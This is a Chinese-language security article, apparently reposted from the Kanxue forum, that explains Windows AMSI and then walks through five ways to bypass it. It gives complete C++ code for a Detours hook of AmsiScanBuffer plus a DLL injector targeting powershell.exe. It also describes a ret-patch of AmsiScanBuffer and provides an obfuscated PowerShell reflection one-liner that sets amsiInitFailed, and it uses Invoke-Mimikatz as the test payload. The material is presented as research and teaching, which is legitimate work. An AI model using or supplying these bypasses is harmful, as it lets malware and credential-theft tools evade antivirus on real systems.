AMSI简介及绕过方法总结

admin 2025年6月7日14:15:37评论0 views字数 9868阅读32分53秒阅读模式

1

AMSI介绍

AMSI,全称是Antimalware Scan Interface,即:反恶意软件扫描接口。是微软在 Windows 10、Windows server 2016及后续版本中引入的安全机制,目的是为了增强对动态脚本和内存攻击的检测能力。AMSI提供标准化的接口,允许应用程序(如PowerShell、VBScript、Office宏等)在执行代码前,将内容提交给反恶意软件引擎(默认为Windows Defender)进行实时扫描,从而拦截恶意行为。

2

AMSI原理

2.1 AMSI架构

AMSI简介及绕过方法总结

◆应用程序:是使用 AMSI 功能的主体,例如PowerShell、VBScript等。当应用程序处理可能包含恶意代码的数据时,它会调用 AMSI 接口将这些数据传递给反恶意软件进行检查。

◆AMSI接口:是Windows系统的一部分,是应用程序和反恶意软件提供程序之间的桥梁,负责管理客户端与反恶意软件提供程序之间的通信。它通过amsi.dll实现,定义了一组标准的函数和方法,应用程序可以通过调用这些接口函数将数据传递给反恶意软件提供程序进行扫描,并接收扫描结果。

◆反恶意软件提供程序:是实际执行恶意软件扫描的组件,它可以是Windows Defender的内置提供程序,也可以是第三方反恶意软件厂商开发的扫描引擎。

◆任何应用程序都可以调用AMSI接口请求扫描;任何注册的反恶意软件引擎都可以处理扫描请求。

2.2 工作流程

◆初始化:当应用程序(如PowerShell)执行代码时,amsi.dll被注入进程内存空间,应用程序调用 AmsiInitialize 函数初始化 AMSI 会话。

◆打开会话:应用程序调用 AmsiOpenSession 函数打开一个新的 AMSI 会话,获取会话句柄。

◆数据扫描:应用程序将需要扫描的数据通过 AmsiScanBuffer 或 AmsiScanString 函数传递给 AMSI 接口,并传入之前获取的会话句柄,AMSI 接口将数据转发给反恶意软件提供程序进行扫描。

◆扫描结果处理:反恶意软件提供程序对数据进行扫描,并将扫描结果返回给 AMSI 接口。AMSI 接口将结果返回给应用程序。应用程序根据扫描结果决定是否继续处理数据,例如,如果扫描结果表明数据包含恶意代码,应用程序可以选择拒绝执行该数据。

◆关闭会话:应用程序在完成扫描操作后,调用 AmsiCloseSession 函数关闭 AMSI 会话。

◆终止会话:应用程序在不再使用 AMSI 功能时,调用 AmsiUninitialize 函数终止 AMSI 会话。

2.3 API函数

◆AMSI本身是一个DLL文件,默认路径:C:WindowsSystem32

◆amsi.dll主要提供了Win32 API函数以及Com 接口:应用程序可以调用Win32 API 函数来请求扫描;而Com 接口主要提供给反恶意软件产品提供商,安全厂商须调用接口以支持AMSI扫描请求。

(1)Win32 API

AmsiCloseSession            关闭由 AmsiOpenSession 打开的会话
AmsiInitialize 初始化 AMSI API
AmsiNotifyOperation 向反恶意软件提供程序发送任意操作的通知
AmsiOpenSession 打开一个会话,在该会话中可以关联多个扫描请求
AmsiResultIsMalware 确定扫描结果是否指示应阻止内容
AmsiScanBuffer 扫描缓冲区内容寻找恶意软件
AmsiScanString 扫描字符串中的恶意软件
AmsiUninitialize 删除最初由 AmsiInitialize 打开的 AMSI API 实例

(2)Com 接口

IAmsiStream 接口                                  表示要扫描的流
IAmsiStream::GetAttribute 方法 流中返回请求的属性
IAmsiStream::Read 方法 请求要读取的缓冲区内容


IAntimalware 接口 表示反恶意软件产品
IAntimalware::CloseSession 方法 关闭会话
IAntimalware::Scan 方法 扫描内容流

IAntimalware2 接口 表示反恶意软件产品
IAntimalware2::Notify 方法 向反恶意软件产品发送任意操作的通知

IAntimalwareProvider 接口 表示反恶意软件产品的提供商
IAntimalwareProvider::CloseSession 方法 关闭会话
IAntimalwareProvider::DisplayName 方法 要显示的反恶意软件提供程序的名称
IAntimalwareProvider::Scan 方法 扫描内容流

IAntimalwareProvider2 接口 表示反恶意软件产品的提供商
IAntimalwareProvider2::Notify 方法 向反恶意软件提供程序发送任意操作的通知

2.4 实现 AMSI 的 Windows 组件

AMSI 功能目前已经集成到 Windows 的这些组件中:

◆用户账户控制

◆PowerShell

◆Windows 脚本解析器:wscript.exe、cscript.exe

◆.NET Assembly

◆WMI

◆JavaScript

◆VBScript

◆Office VBA 宏

2.5 防御优势

◆攻击者常使用PowerShell、VBScript等脚本语言动态生成或加密代码,绕过传统的静态签名检测。AMSI与脚本引擎(如PowerShell、JavaScript)深度集成。在脚本解释或编译前,AMSI会将代码(包括动态生成的片段)传递给安全产品扫描。即使恶意代码被拆分、混淆或通过多阶段加载,AMSI也能捕获整体逻辑并分析。

◆内存攻击(如反射式DLL注入)直接在内存中执行恶意代码,不依赖磁盘文件,传统基于文件的扫描难以发现。AMSI通过拦截内存中的代码执行请求(如通过Windows Defender或第三方安全软件),检查进程行为是否异常。例如,当PowerShell尝试调用敏感API时,AMSI会触发扫描,阻断恶意操作。

◆攻击者常用加密混淆恶意代码等方式绕过检测,但是脚本被脚本解释器运行之前,必须将混淆或加密的恶意代码最终还原为可执行形式(如PowerShell脚本解密后为明文字符串),否则脚本引擎或系统加载器无法解析执行。而AMSI在脚本解密后到注入内存执行前的关键节点介入,捕获其明文内容进行扫描,直接针对恶意逻辑本身检测,从而对抗混淆攻击。

3

AMSI绕过方法

3.1 方法一:利用hook及DLL注入绕过

3.1.1 原理

◆应用程序(PowerShell、VBScript、.NET等)在运行脚本或代码前会通过AMSI接口调用Windows系统中已注册的反恶意软件引擎进行扫描,如果检测到恶意内容,AMSI会阻止相关脚本或者代码的执行。

◆AmsiScanBuffer是处理原始二进制数据的核心函数,直接与反恶意软件引擎交互,PowerShell在执行脚本块时,会将代码转换成字节流并通过AmsiScanBuffer进行扫描。

◆AmsiScanBuffer函数定义:

HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext, // AMSI 上下文句柄
PVOID buffer, // 待扫描数据指针
ULONG length, // 数据长度
LPCWSTR contentName, // 内容标识(如脚本名)
HAMSISESSION amsiSession, // 会话句柄(可选)
AMSI_RESULT *result // 输出扫描结果
)
;

◆攻击者可通过hook劫持AMSI的AmsiScanBuffer扫描函数,将其实际扫描内容(buffer参数)篡改为无害字符串,在送入反恶意软件引擎扫描前清除恶意特征,从而绕过反恶意软件检测。将hook AmsiScanBuffer的具体内容构造成DLL,使用DLL注入将其注入到powershell进程的内存中,从而绕过powershell运行恶意内容时AMSI检测拦截。

3.1.2 复现

(1)编写hook AmsiScanBuffer的DLL。

◆劫持 AmsiScanBuffer:通过 Hook,将 AmsiScanBuffer 替换为自定义函数。

◆篡改扫描内容:在自定义函数中,将实际扫描内容替换为无害字符串。

◆欺骗 AMSI:AMSI 扫描的是篡改后的内容,因此不会检测到恶意代码。

#include "pch.h"
#include <Windows.h>
#include "detours.h"
#include <amsi.h>
#include <iostream>
#include <sstream>
#include <iomanip>
#include "detours.h"
#pragma comment(lib, "amsi.lib")

#define SAFE "SafeString"

// 保存原始的 AmsiScanBuffer 函数地址,以便在自定义函数中调用
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result)
= AmsiScanBuffer;

// 自定义函数 _AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {

std::cout << "[+] AmsiScanBuffer called" << std::endl;
std::cout << "[+] Buffer " << buffer << std::endl;
std::cout << "[+] Buffer Length " << length << std::endl;

// 将传入的 buffer(实际扫描内容)替换为 SAFE(无害字符串)
// 调用原始 AmsiScanBuffer,但传入的是篡改后的内容,从而绕过检测
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}

// DLL 入口点
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)

{
if (DetourIsHelperProcess()) {
return TRUE;
}

// 初始化hook
if (dwReason == DLL_PROCESS_ATTACH) {

AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);

DetourRestoreAfterWith();
LONG error = DetourTransactionBegin();
if (error != NO_ERROR) {
std::cerr << "[!] Transaction Begin Failed: " << error << std::endl;
return FALSE;
}

error = DetourUpdateThread(GetCurrentThread());
if (error != NO_ERROR) {
std::cerr << "[!] UpdateThread Failed: " << error << std::endl;
DetourTransactionAbort();
return FALSE;
}

// 在 DLL 加载时,使用 DetourAttach 将 AmsiScanBuffer 替换为 _AmsiScanBuffer
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
error = DetourTransactionCommit();
if (error != NO_ERROR) {
std::cerr << "[!] Commit Failed: " << error << std::endl;
return FALSE;
}
else {
std::cout << "[+] Detour Success!" << std::endl;
}
}
// DLL 卸载,恢复原始函数
else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return TRUE;
}

(2)DLL注入代码。

◆通过进程名powershell.exe获取目标进程的PID

◆在目标进程中分配内存,写入 DLL 路径

◆在目标进程中创建远程线程,调用 LoadLibraryA 加载 DLL

◆DLL注入到目标进程powershell.exe中

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

// 注入DLL
BOOL InjectDll(DWORD procID, const char* dllName) {
char fullDllName[MAX_PATH];
LPVOID loadLibrary;
LPVOID remoteString;

if (procID == 0) {
return FALSE;
}

// 打开目标进程,获取进程句柄
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (hProc == INVALID_HANDLE_VALUE) {
return FALSE;
}

// 获取DLL文件的完整路径
GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
std::cout << "[+] Acquired full DLL path: " << fullDllName << std::endl;

// 获取 LoadLibraryA 函数的地址,用于在目标进程中加载 DLL
loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");

// 在目标进程中分配内存,用于存储 DLL 路径
remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

// 将 DLL 路径写入目标进程的内存
WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);

// 在目标进程中创建远程线程,调用 LoadLibraryA 加载 DLL
CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, remoteString, NULL, NULL);

// 关闭目标进程句柄
CloseHandle(hProc);
return TRUE;
}

// 通过进程名获取进程PID
DWORD GetProcIDByName(const char* procName) {
HANDLE hSnap;
BOOL done;
PROCESSENTRY32 procEntry;

ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
procEntry.dwSize = sizeof(PROCESSENTRY32);

hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // 获取系统进程快照
done = Process32First(hSnap, &procEntry); // 初始化 PROCESSENTRY32 结构体,用于存储进程信息

// 遍历进程快照,查找与 procName 匹配的进程,如果找到匹配的进程,返回其 PID;否则返回 0
do {
char szExeFile[MAX_PATH];
WideCharToMultiByte(CP_ACP, 0, procEntry.szExeFile, -1, szExeFile, MAX_PATH, NULL, NULL);
if (_strnicmp(szExeFile, procName, strlen(procName)) == 0) {
return procEntry.th32ProcessID;
}
} while (Process32Next(hSnap, &procEntry));

return 0;
}

int main() {
const char* processName = "powershell.exe";
const char* dllName = "C:\Users\Administrator\Desktop\AmsiHookDll.dll";
DWORD procID = GetProcIDByName(processName);

if (procID == 0) {
std::cout << "[-] Could not find process with name: " << processName << std::endl;
return 1;
}

std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl;

if (InjectDll(procID, dllName)) {
std::cout << "DLL injected successfully!" << std::endl;
}
else {
std::cout << "DLL injection failed" << std::endl;
}

return 0;
}

(3)打开powershell,运行进程注入代码,将AmsiHookDll.dll注入到powershell.exe中。

AMSI简介及绕过方法总结
AMSI简介及绕过方法总结

(4)运行Process Explorer,看到AmsiHookDll.dll已经成功注入到powershell.exe中。

AMSI简介及绕过方法总结

(5)powershell中执行恶意内容:Invoke-Mimikatz,仍然被AMSI拦截,绕过失败,大概是因为新版本的AMSI引入了更强的内存保护机制,会扫描目标进程的内存,检测是否存在被篡改的 AMSI 函数或异常行为。

AMSI简介及绕过方法总结

3.2 方法二:利用内存补丁技术绕过

3.2.1 原理

◆AmsiScanBuffer是AMSI的核心函数,用于扫描内存中的内容(如脚本、代码)是否恶意,应用程序(如PowerShell)会调用此函数来检测恶意内容。

◆如果修改了AmsiScanBuffer函数的内存指令,使其无法正常执行恶意内容扫描逻辑。例如在函数开头写入补丁指令:0xC3,即ret指令,使函数直接返回到调用者,不执行扫描,从而绕过AMSI检测,使得恶意内容得以执行。

3.2.2 复现

(1)打开powershell进程,目前输入Invoke-Mimikatz命令会被AMSI拦截。

AMSI简介及绕过方法总结

(2)打开x64dbg调试器,附加powershell进程,定位amsi.dll中的AmsiScanBuffer函数。

AMSI简介及绕过方法总结

(3)跳转到AmsiScanBuffer函数的入口地址,修改指令为ret,使程序运行到AmsiScanBuffer时直接返回调用者。

AMSI简介及绕过方法总结

(4)再次在powershell中输入Invoke-Mimikatz命令,发现已绕过AMSI检测。

AMSI简介及绕过方法总结

3.3 方法三:利用编码混淆绕过

3.3.1 原理

◆在powershell中调用System.Management.Automation.AmsiUtils类的GetField方法,通过将 amsiInitFailed 字段的值设置为 true,使得 AMSI 认为初始化失败,从而绕过其检测。

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

◆但是上述命令存在被查杀的关键字符:System.Management.Automation.AmsiUtils、amsiInitFailed,直接执行该命令也会被AMSI送到杀毒软件查杀。

◆通过编码混淆关键字符串(类名 System.Management.Automation.AmsiUtils 和字段名 amsiInitFailed),动态解码后利用反射强制设置 amsiInitFailed 字段为 true,使AMSI失效,从而逃避安全检测。

3.3.2 复现

(1)将类名和字段名拆分成两部分,通过数字编码隐藏原始字符串。

◆编码方式:将每个字符的ASCII码减去30,转换为两位数字。例如:

◆字符S的ASCII码为83 → 83 - 30 = 53 → 编码为 53

◆字符y的ASCII码为121 → 121 - 30 = 91 → 编码为 91

$a="5391858671791647678067737179718086163587868179678675818"
$b="0163579857555867578856779857543807586406775787170"

(2)解码类名:System.Management.Automation.AmsiUtils

◆拼接编码数据:a + b

◆遍历索引0~37,共38个字符(类名长度)

◆每两位数字还原ASCII码,转换为字符

◆拼接字符生成完整类名:System.Management.Automation.AmsiUtils

$c=[string](0..37|%{[char][int](30+($a+$b).substring(($_*2),2))})-replace " "

(3)解码字段名:amsiInitFailed

◆遍历索引38~51,共14个字符(字段名长度)

◆每两位数字还原ASCII码,转换为字符

◆拼接字符生成字段名:amsiInitFailed

$e=[string](38..51|%{[char][int](30+($a+$b).substring(($_*2),2))})-replace " "

(4)反射修改AMSI状态

$d=[Ref].Assembly.GetType($c)          # 获取AmsiUtils类型
$f=$d.GetField($e,'NonPublic,Static') # 获取amsiInitFailed字段
$f.SetValue($null,$true) # 设置字段值为true

(5)在powershell中执行脚本,绕过AMSI。

AMSI简介及绕过方法总结

3.4 方法四:利用powershell降级方式绕过

3.4.1 原理

低版本的powershell(2.0)没有AMSI,所以在powershell2.0上执行恶意内容不会被AMSI检测。

通过降低powershell的当前运行版本来绕过AMSI,由于版本较低,可能存在部分攻击脚本无法在powershell 2.0上运行的情况。

3.4.2 复现

(1)查看当前运行的powershell版本:$PSVersionTable
AMSI简介及绕过方法总结

(2)执行命令将powershell运行版本改为2.0,再次执行恶意内容,发现已绕过AMSI检测。

powershell.exe -version 2

AMSI简介及绕过方法总结

3.5 方法五:利用拆分方式绕过

3.5.1 原理

通过分块、重组敏感字符串/代码等,绕过AMSI检测。

3.5.2 复现

AMSI简介及绕过方法总结

AMSI简介及绕过方法总结

看雪ID:mb_zelrqyxa

https://bbs.kanxue.com/user-home-1021816.htm

*本文为看雪论坛优秀文章,由 mb_zelrqyxa 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):AMSI简介及绕过方法总结

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日14:15:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AMSI简介及绕过方法总结https://cn-sec.com/archives/3779078.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息